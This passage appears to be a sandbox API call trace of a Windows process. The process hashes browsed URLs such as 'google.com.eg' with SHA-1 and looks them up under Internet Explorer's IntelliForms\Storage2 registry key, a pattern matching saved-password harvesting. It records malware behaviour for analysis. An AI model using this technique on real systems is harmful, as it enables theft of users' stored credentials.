_ArgList=0x54df9a8 | out: _Buffer="DD") returned 2 [0096.807] lstrlenW (lpString="666AE604114C4E8D03466A74") returned 24 [0096.807] lstrlenW (lpString="DD") returned 2 [0096.807] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.807] lstrcpyW (in: lpString1=0x7290b70, lpString2="666AE604114C4E8D03466A74" | out: lpString1="666AE604114C4E8D03466A74") returned="666AE604114C4E8D03466A74" [0096.807] lstrcatW (in: lpString1="666AE604114C4E8D03466A74", lpString2="DD" | out: lpString1="666AE604114C4E8D03466A74DD") returned="666AE604114C4E8D03466A74DD" [0096.807] LocalFree (hMem=0x72912f0) returned 0x0 [0096.807] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="83") returned 2 [0096.807] lstrlenW (lpString="666AE604114C4E8D03466A74DD") returned 26 [0096.807] lstrlenW (lpString="83") returned 2 [0096.807] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.808] lstrcpyW (in: lpString1=0x2815670, lpString2="666AE604114C4E8D03466A74DD" | out: lpString1="666AE604114C4E8D03466A74DD") returned="666AE604114C4E8D03466A74DD" [0096.808] lstrcatW (in: lpString1="666AE604114C4E8D03466A74DD", lpString2="83" | out: lpString1="666AE604114C4E8D03466A74DD83") returned="666AE604114C4E8D03466A74DD83" [0096.808] LocalFree (hMem=0x7290b70) returned 0x0 [0096.808] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2C") returned 2 [0096.808] lstrlenW (lpString="666AE604114C4E8D03466A74DD83") returned 28 [0096.808] lstrlenW (lpString="2C") returned 2 [0096.808] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.808] lstrcpyW (in: lpString1=0x2815a80, lpString2="666AE604114C4E8D03466A74DD83" | out: lpString1="666AE604114C4E8D03466A74DD83") returned="666AE604114C4E8D03466A74DD83" [0096.808] lstrcatW (in: lpString1="666AE604114C4E8D03466A74DD83", lpString2="2C" | out: lpString1="666AE604114C4E8D03466A74DD832C") returned="666AE604114C4E8D03466A74DD832C" [0096.808] LocalFree (hMem=0x2815670) returned 0x0 [0096.808] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F9") returned 2 [0096.808] lstrlenW (lpString="666AE604114C4E8D03466A74DD832C") returned 30 [0096.808] lstrlenW (lpString="F9") returned 2 [0096.808] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.808] lstrcpyW (in: lpString1=0x2815670, lpString2="666AE604114C4E8D03466A74DD832C" | out: lpString1="666AE604114C4E8D03466A74DD832C") returned="666AE604114C4E8D03466A74DD832C" [0096.808] lstrcatW (in: lpString1="666AE604114C4E8D03466A74DD832C", lpString2="F9" | out: lpString1="666AE604114C4E8D03466A74DD832CF9") returned="666AE604114C4E8D03466A74DD832CF9" [0096.808] LocalFree (hMem=0x2815a80) returned 0x0 [0096.808] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0096.808] lstrlenW (lpString="666AE604114C4E8D03466A74DD832CF9") returned 32 [0096.808] lstrlenW (lpString="EE") returned 2 [0096.808] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.808] lstrcpyW (in: lpString1=0x2815a80, lpString2="666AE604114C4E8D03466A74DD832CF9" | out: lpString1="666AE604114C4E8D03466A74DD832CF9") returned="666AE604114C4E8D03466A74DD832CF9" [0096.808] lstrcatW (in: lpString1="666AE604114C4E8D03466A74DD832CF9", lpString2="EE" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EE") returned="666AE604114C4E8D03466A74DD832CF9EE" [0096.808] LocalFree (hMem=0x2815670) returned 0x0 [0096.808] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F3") returned 2 [0096.808] lstrlenW (lpString="666AE604114C4E8D03466A74DD832CF9EE") returned 34 [0096.808] lstrlenW (lpString="F3") returned 2 [0096.808] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.808] lstrcpyW (in: lpString1=0x28e7670, lpString2="666AE604114C4E8D03466A74DD832CF9EE" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EE") returned="666AE604114C4E8D03466A74DD832CF9EE" [0096.808] lstrcatW (in: lpString1="666AE604114C4E8D03466A74DD832CF9EE", lpString2="F3" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3") returned="666AE604114C4E8D03466A74DD832CF9EEF3" [0096.808] LocalFree (hMem=0x2815a80) returned 0x0 [0096.808] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D5") returned 2 [0096.808] lstrlenW (lpString="666AE604114C4E8D03466A74DD832CF9EEF3") returned 36 [0096.808] lstrlenW (lpString="D5") returned 2 [0096.808] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.808] lstrcpyW (in: lpString1=0x28e7910, lpString2="666AE604114C4E8D03466A74DD832CF9EEF3" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3") returned="666AE604114C4E8D03466A74DD832CF9EEF3" [0096.809] lstrcatW (in: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3", lpString2="D5" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3D5") returned="666AE604114C4E8D03466A74DD832CF9EEF3D5" [0096.809] LocalFree (hMem=0x28e7670) returned 0x0 [0096.809] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="20") returned 2 [0096.809] lstrlenW (lpString="666AE604114C4E8D03466A74DD832CF9EEF3D5") returned 38 [0096.809] lstrlenW (lpString="20") returned 2 [0096.809] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.809] lstrcpyW (in: lpString1=0x28e7670, lpString2="666AE604114C4E8D03466A74DD832CF9EEF3D5" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3D5") returned="666AE604114C4E8D03466A74DD832CF9EEF3D5" [0096.809] lstrcatW (in: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3D5", lpString2="20" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3D520") returned="666AE604114C4E8D03466A74DD832CF9EEF3D520" [0096.809] LocalFree (hMem=0x28e7910) returned 0x0 [0096.809] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0096.809] lstrlenW (lpString="666AE604114C4E8D03466A74DD832CF9EEF3D520") returned 40 [0096.809] lstrlenW (lpString="74") returned 2 [0096.809] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.809] lstrcpyW (in: lpString1=0x28e7910, lpString2="666AE604114C4E8D03466A74DD832CF9EEF3D520" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3D520") returned="666AE604114C4E8D03466A74DD832CF9EEF3D520" [0096.809] lstrcatW (in: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3D520", lpString2="74" | out: lpString1="666AE604114C4E8D03466A74DD832CF9EEF3D52074") returned="666AE604114C4E8D03466A74DD832CF9EEF3D52074" [0096.809] LocalFree (hMem=0x28e7670) returned 0x0 [0096.809] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.809] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.809] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.809] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.809] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.809] LocalFree (hMem=0x28e7910) returned 0x0 [0096.809] RegEnumValueW (in: hKey=0x368, dwIndex=0x10, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url34", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.809] StrStrIW (lpFirst="google.com.eg", lpSrch="?") returned 0x0 [0096.809] StrStrIW (lpFirst="google.com.eg", lpSrch="http://") returned 0x0 [0096.809] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.810] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.810] lstrlenW (lpString="google.com.eg") returned 13 [0096.810] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0096.810] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.810] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7B") returned 2 [0096.810] lstrlenW (lpString="") returned 0 [0096.810] lstrlenW (lpString="7B") returned 2 [0096.810] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.810] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.810] lstrcatW (in: lpString1="", lpString2="7B" | out: lpString1="7B") returned="7B" [0096.810] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="30") returned 2 [0096.810] lstrlenW (lpString="7B") returned 2 [0096.810] lstrlenW (lpString="30") returned 2 [0096.810] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.810] lstrcpyW (in: lpString1=0x28c81c0, lpString2="7B" | out: lpString1="7B") returned="7B" [0096.810] lstrcatW (in: lpString1="7B", lpString2="30" | out: lpString1="7B30") returned="7B30" [0096.810] LocalFree (hMem=0x7224580) returned 0x0 [0096.810] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FF") returned 2 [0096.810] lstrlenW (lpString="7B30") returned 4 [0096.810] lstrlenW (lpString="FF") returned 2 [0096.810] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8d00 [0096.810] lstrcpyW (in: lpString1=0x28c8d00, lpString2="7B30" | out: lpString1="7B30") returned="7B30" [0096.810] lstrcatW (in: lpString1="7B30", lpString2="FF" | out: lpString1="7B30FF") returned="7B30FF" [0096.810] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.811] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="03") returned 2 [0096.811] lstrlenW (lpString="7B30FF") returned 6 [0096.811] lstrlenW (lpString="03") returned 2 [0096.811] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.811] lstrcpyW (in: lpString1=0x28c81c0, lpString2="7B30FF" | out: lpString1="7B30FF") returned="7B30FF" [0096.811] lstrcatW (in: lpString1="7B30FF", lpString2="03" | out: lpString1="7B30FF03") returned="7B30FF03" [0096.811] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.811] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="81") returned 2 [0096.811] lstrlenW (lpString="7B30FF03") returned 8 [0096.811] lstrlenW (lpString="81") returned 2 [0096.811] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8d00 [0096.811] lstrcpyW (in: lpString1=0x28c8d00, lpString2="7B30FF03" | out: lpString1="7B30FF03") returned="7B30FF03" [0096.811] lstrcatW (in: lpString1="7B30FF03", lpString2="81" | out: lpString1="7B30FF0381") returned="7B30FF0381" [0096.811] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.811] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0096.811] lstrlenW (lpString="7B30FF0381") returned 10 [0096.811] lstrlenW (lpString="22") returned 2 [0096.811] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.811] lstrcpyW (in: lpString1=0x71cf460, lpString2="7B30FF0381" | out: lpString1="7B30FF0381") returned="7B30FF0381" [0096.811] lstrcatW (in: lpString1="7B30FF0381", lpString2="22" | out: lpString1="7B30FF038122") returned="7B30FF038122" [0096.811] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.811] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="16") returned 2 [0096.811] lstrlenW (lpString="7B30FF038122") returned 12 [0096.811] lstrlenW (lpString="16") returned 2 [0096.811] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.811] lstrcpyW (in: lpString1=0x71cfb40, lpString2="7B30FF038122" | out: lpString1="7B30FF038122") returned="7B30FF038122" [0096.811] lstrcatW (in: lpString1="7B30FF038122", lpString2="16" | out: lpString1="7B30FF03812216") returned="7B30FF03812216" [0096.811] LocalFree (hMem=0x71cf460) returned 0x0 [0096.811] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.811] lstrlenW (lpString="7B30FF03812216") returned 14 [0096.811] lstrlenW (lpString="9D") returned 2 [0096.811] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.811] lstrcpyW (in: lpString1=0x71cf460, lpString2="7B30FF03812216" | out: lpString1="7B30FF03812216") returned="7B30FF03812216" [0096.811] lstrcatW (in: lpString1="7B30FF03812216", lpString2="9D" | out: lpString1="7B30FF038122169D") returned="7B30FF038122169D" [0096.811] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.811] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="08") returned 2 [0096.811] lstrlenW (lpString="7B30FF038122169D") returned 16 [0096.812] lstrlenW (lpString="08") returned 2 [0096.812] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.812] lstrcpyW (in: lpString1=0x71cfb40, lpString2="7B30FF038122169D" | out: lpString1="7B30FF038122169D") returned="7B30FF038122169D" [0096.812] lstrcatW (in: lpString1="7B30FF038122169D", lpString2="08" | out: lpString1="7B30FF038122169D08") returned="7B30FF038122169D08" [0096.812] LocalFree (hMem=0x71cf460) returned 0x0 [0096.812] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A3") returned 2 [0096.812] lstrlenW (lpString="7B30FF038122169D08") returned 18 [0096.812] lstrlenW (lpString="A3") returned 2 [0096.812] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.812] lstrcpyW (in: lpString1=0x7290b70, lpString2="7B30FF038122169D08" | out: lpString1="7B30FF038122169D08") returned="7B30FF038122169D08" [0096.812] lstrcatW (in: lpString1="7B30FF038122169D08", lpString2="A3" | out: lpString1="7B30FF038122169D08A3") returned="7B30FF038122169D08A3" [0096.812] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.812] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CA") returned 2 [0096.812] lstrlenW (lpString="7B30FF038122169D08A3") returned 20 [0096.812] lstrlenW (lpString="CA") returned 2 [0096.812] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.812] lstrcpyW (in: lpString1=0x72912f0, lpString2="7B30FF038122169D08A3" | out: lpString1="7B30FF038122169D08A3") returned="7B30FF038122169D08A3" [0096.812] lstrcatW (in: lpString1="7B30FF038122169D08A3", lpString2="CA" | out: lpString1="7B30FF038122169D08A3CA") returned="7B30FF038122169D08A3CA" [0096.812] LocalFree (hMem=0x7290b70) returned 0x0 [0096.812] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F5") returned 2 [0096.812] lstrlenW (lpString="7B30FF038122169D08A3CA") returned 22 [0096.812] lstrlenW (lpString="F5") returned 2 [0096.812] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.812] lstrcpyW (in: lpString1=0x7290b70, lpString2="7B30FF038122169D08A3CA" | out: lpString1="7B30FF038122169D08A3CA") returned="7B30FF038122169D08A3CA" [0096.812] lstrcatW (in: lpString1="7B30FF038122169D08A3CA", lpString2="F5" | out: lpString1="7B30FF038122169D08A3CAF5") returned="7B30FF038122169D08A3CAF5" [0096.812] LocalFree (hMem=0x72912f0) returned 0x0 [0096.812] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D9") returned 2 [0096.812] lstrlenW (lpString="7B30FF038122169D08A3CAF5") returned 24 [0096.812] lstrlenW (lpString="D9") returned 2 [0096.812] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.812] lstrcpyW (in: lpString1=0x72912f0, lpString2="7B30FF038122169D08A3CAF5" | out: lpString1="7B30FF038122169D08A3CAF5") returned="7B30FF038122169D08A3CAF5" [0096.812] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5", lpString2="D9" | out: lpString1="7B30FF038122169D08A3CAF5D9") returned="7B30FF038122169D08A3CAF5D9" [0096.812] LocalFree (hMem=0x7290b70) returned 0x0 [0096.812] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0096.812] lstrlenW (lpString="7B30FF038122169D08A3CAF5D9") returned 26 [0096.812] lstrlenW (lpString="26") returned 2 [0096.812] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.812] lstrcpyW (in: lpString1=0x2815a80, lpString2="7B30FF038122169D08A3CAF5D9" | out: lpString1="7B30FF038122169D08A3CAF5D9") returned="7B30FF038122169D08A3CAF5D9" [0096.813] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5D9", lpString2="26" | out: lpString1="7B30FF038122169D08A3CAF5D926") returned="7B30FF038122169D08A3CAF5D926" [0096.813] LocalFree (hMem=0x72912f0) returned 0x0 [0096.813] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6F") returned 2 [0096.813] lstrlenW (lpString="7B30FF038122169D08A3CAF5D926") returned 28 [0096.813] lstrlenW (lpString="6F") returned 2 [0096.813] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.813] lstrcpyW (in: lpString1=0x2815670, lpString2="7B30FF038122169D08A3CAF5D926" | out: lpString1="7B30FF038122169D08A3CAF5D926") returned="7B30FF038122169D08A3CAF5D926" [0096.813] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5D926", lpString2="6F" | out: lpString1="7B30FF038122169D08A3CAF5D9266F") returned="7B30FF038122169D08A3CAF5D9266F" [0096.813] LocalFree (hMem=0x2815a80) returned 0x0 [0096.813] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="31") returned 2 [0096.813] lstrlenW (lpString="7B30FF038122169D08A3CAF5D9266F") returned 30 [0096.813] lstrlenW (lpString="31") returned 2 [0096.813] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.813] lstrcpyW (in: lpString1=0x2815a80, lpString2="7B30FF038122169D08A3CAF5D9266F" | out: lpString1="7B30FF038122169D08A3CAF5D9266F") returned="7B30FF038122169D08A3CAF5D9266F" [0096.813] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5D9266F", lpString2="31" | out: lpString1="7B30FF038122169D08A3CAF5D9266F31") returned="7B30FF038122169D08A3CAF5D9266F31" [0096.813] LocalFree (hMem=0x2815670) returned 0x0 [0096.813] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="25") returned 2 [0096.813] lstrlenW (lpString="7B30FF038122169D08A3CAF5D9266F31") returned 32 [0096.813] lstrlenW (lpString="25") returned 2 [0096.813] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.813] lstrcpyW (in: lpString1=0x2815670, lpString2="7B30FF038122169D08A3CAF5D9266F31" | out: lpString1="7B30FF038122169D08A3CAF5D9266F31") returned="7B30FF038122169D08A3CAF5D9266F31" [0096.813] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5D9266F31", lpString2="25" | out: lpString1="7B30FF038122169D08A3CAF5D9266F3125") returned="7B30FF038122169D08A3CAF5D9266F3125" [0096.813] LocalFree (hMem=0x2815a80) returned 0x0 [0096.813] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="39") returned 2 [0096.813] lstrlenW (lpString="7B30FF038122169D08A3CAF5D9266F3125") returned 34 [0096.813] lstrlenW (lpString="39") returned 2 [0096.813] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.813] lstrcpyW (in: lpString1=0x28e7910, lpString2="7B30FF038122169D08A3CAF5D9266F3125" | out: lpString1="7B30FF038122169D08A3CAF5D9266F3125") returned="7B30FF038122169D08A3CAF5D9266F3125" [0096.813] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5D9266F3125", lpString2="39" | out: lpString1="7B30FF038122169D08A3CAF5D9266F312539") returned="7B30FF038122169D08A3CAF5D9266F312539" [0096.813] LocalFree (hMem=0x2815670) returned 0x0 [0096.813] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2D") returned 2 [0096.813] lstrlenW (lpString="7B30FF038122169D08A3CAF5D9266F312539") returned 36 [0096.813] lstrlenW (lpString="2D") returned 2 [0096.813] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.813] lstrcpyW (in: lpString1=0x28e7670, lpString2="7B30FF038122169D08A3CAF5D9266F312539" | out: lpString1="7B30FF038122169D08A3CAF5D9266F312539") returned="7B30FF038122169D08A3CAF5D9266F312539" [0096.813] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5D9266F312539", lpString2="2D" | out: lpString1="7B30FF038122169D08A3CAF5D9266F3125392D") returned="7B30FF038122169D08A3CAF5D9266F3125392D" [0096.814] LocalFree (hMem=0x28e7910) returned 0x0 [0096.814] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CA") returned 2 [0096.814] lstrlenW (lpString="7B30FF038122169D08A3CAF5D9266F3125392D") returned 38 [0096.814] lstrlenW (lpString="CA") returned 2 [0096.814] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.814] lstrcpyW (in: lpString1=0x28e7910, lpString2="7B30FF038122169D08A3CAF5D9266F3125392D" | out: lpString1="7B30FF038122169D08A3CAF5D9266F3125392D") returned="7B30FF038122169D08A3CAF5D9266F3125392D" [0096.814] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5D9266F3125392D", lpString2="CA" | out: lpString1="7B30FF038122169D08A3CAF5D9266F3125392DCA") returned="7B30FF038122169D08A3CAF5D9266F3125392DCA" [0096.814] LocalFree (hMem=0x28e7670) returned 0x0 [0096.814] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="61") returned 2 [0096.814] lstrlenW (lpString="7B30FF038122169D08A3CAF5D9266F3125392DCA") returned 40 [0096.814] lstrlenW (lpString="61") returned 2 [0096.814] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.814] lstrcpyW (in: lpString1=0x28e7670, lpString2="7B30FF038122169D08A3CAF5D9266F3125392DCA" | out: lpString1="7B30FF038122169D08A3CAF5D9266F3125392DCA") returned="7B30FF038122169D08A3CAF5D9266F3125392DCA" [0096.814] lstrcatW (in: lpString1="7B30FF038122169D08A3CAF5D9266F3125392DCA", lpString2="61" | out: lpString1="7B30FF038122169D08A3CAF5D9266F3125392DCA61") returned="7B30FF038122169D08A3CAF5D9266F3125392DCA61" [0096.814] LocalFree (hMem=0x28e7910) returned 0x0 [0096.814] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.814] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.814] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.814] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.814] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.814] LocalFree (hMem=0x28e7670) returned 0x0 [0096.814] RegEnumValueW (in: hKey=0x368, dwIndex=0x11, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url33", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.814] StrStrIW (lpFirst="amazon.cn", lpSrch="?") returned 0x0 [0096.814] StrStrIW (lpFirst="amazon.cn", lpSrch="http://") returned 0x0 [0096.814] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.880] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.880] lstrlenW (lpString="amazon.cn") returned 9 [0096.880] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x14, dwFlags=0x0) returned 1 [0096.880] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.880] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0096.880] lstrlenW (lpString="") returned 0 [0096.880] lstrlenW (lpString="B7") returned 2 [0096.880] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.880] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.880] lstrcatW (in: lpString1="", lpString2="B7" | out: lpString1="B7") returned="B7" [0096.880] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0096.880] lstrlenW (lpString="B7") returned 2 [0096.880] lstrlenW (lpString="07") returned 2 [0096.880] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.880] lstrcpyW (in: lpString1=0x28c81c0, lpString2="B7" | out: lpString1="B7") returned="B7" [0096.880] lstrcatW (in: lpString1="B7", lpString2="07" | out: lpString1="B707") returned="B707" [0096.880] LocalFree (hMem=0x7222e70) returned 0x0 [0096.880] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="71") returned 2 [0096.880] lstrlenW (lpString="B707") returned 4 [0096.880] lstrlenW (lpString="71") returned 2 [0096.880] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0096.880] lstrcpyW (in: lpString1=0x28ca380, lpString2="B707" | out: lpString1="B707") returned="B707" [0096.880] lstrcatW (in: lpString1="B707", lpString2="71" | out: lpString1="B70771") returned="B70771" 